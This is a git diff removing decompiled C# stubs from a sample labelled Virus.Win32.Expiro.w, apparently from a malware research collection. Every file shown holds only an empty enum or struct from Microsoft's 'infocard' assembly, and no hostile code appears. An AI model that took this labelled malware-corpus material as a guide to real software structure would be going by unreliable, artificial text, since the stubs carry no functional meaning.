C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagLIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLOCKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLOCKTYPE.cs deleted file mode 100644 index ac14bf1b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLOCKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLOCKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagLOCKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPLINKTEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPLINKTEXT.cs deleted file mode 100644 index 6a0ded0e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPLINKTEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPLINKTEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPLINKTEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPMESSAGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPMESSAGE.cs deleted file mode 100644 index e1c67b56..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPMESSAGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPMESSAGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPMESSAGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSIZE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSIZE.cs deleted file mode 100644 index 67155fb9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSIZE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPSIZE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagMARKUPSIZE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSTATE.cs deleted file mode 100644 index 6b94dfe9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMARKUPSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMARKUPSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMEMCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMEMCTX.cs deleted file mode 100644 index 77307d70..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMEMCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMEMCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMEMCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUBANDHANDLERCID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUBANDHANDLERCID.cs deleted file mode 100644 index b1c57348..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUBANDHANDLERCID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUBANDHANDLERCID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMENUBANDHANDLERCID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPPOPUPFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPPOPUPFLAGS.cs deleted file mode 100644 index e4aafd37..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPPOPUPFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUPOPUPPOPUPFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagMENUPOPUPPOPUPFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPSELECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPSELECT.cs deleted file mode 100644 index 5a90532f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPSELECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMENUPOPUPSELECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMENUPOPUPSELECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKREDUCE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKREDUCE.cs deleted file mode 100644 index d9e15141..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKREDUCE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKREDUCE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagMKREDUCE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKSYS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKSYS.cs deleted file mode 100644 index cdefe935..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKSYS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKSYS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagMKSYS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSG.cs deleted file mode 100644 index 214409c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSG.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct tagMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHCTX.cs deleted file mode 100644 index 8001a2fe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMSHCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHLFLAGS.cs deleted file mode 100644 index eb8e5612..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNAMESPACEWALKFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNAMESPACEWALKFLAG.cs deleted file mode 100644 index d79882a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNAMESPACEWALKFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNAMESPACEWALKFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNAMESPACEWALKFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCECLICKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCECLICKTYPE.cs deleted file mode 100644 index 6c4fe422..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCECLICKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCECLICKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCECLICKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCEHITTEST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCEHITTEST.cs deleted file mode 100644 index d9ecf616..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCEHITTEST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCEHITTEST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNSTCEHITTEST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCGNI.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCGNI.cs deleted file mode 100644 index aa872b77..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCGNI.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCGNI -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagNSTCGNI -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCITEMSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCITEMSTATE.cs deleted file mode 100644 index 1c2c4acc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCITEMSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCITEMSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagNSTCITEMSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCROOTSTYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCROOTSTYLE.cs deleted file mode 100644 index a7566de9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCROOTSTYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCROOTSTYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCROOTSTYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCSTYLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCSTYLE.cs deleted file mode 100644 index 5c2397bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCSTYLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNSTCSTYLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagNSTCSTYLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECLOSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECLOSE.cs deleted file mode 100644 index 60960fb3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECLOSE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECLOSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLECLOSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECONTF.cs deleted file mode 100644 index e21b64e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLECONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEDCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEDCFLAGS.cs deleted file mode 100644 index 251fe77a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEDCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEDCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLEDCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEGETMONIKER.cs 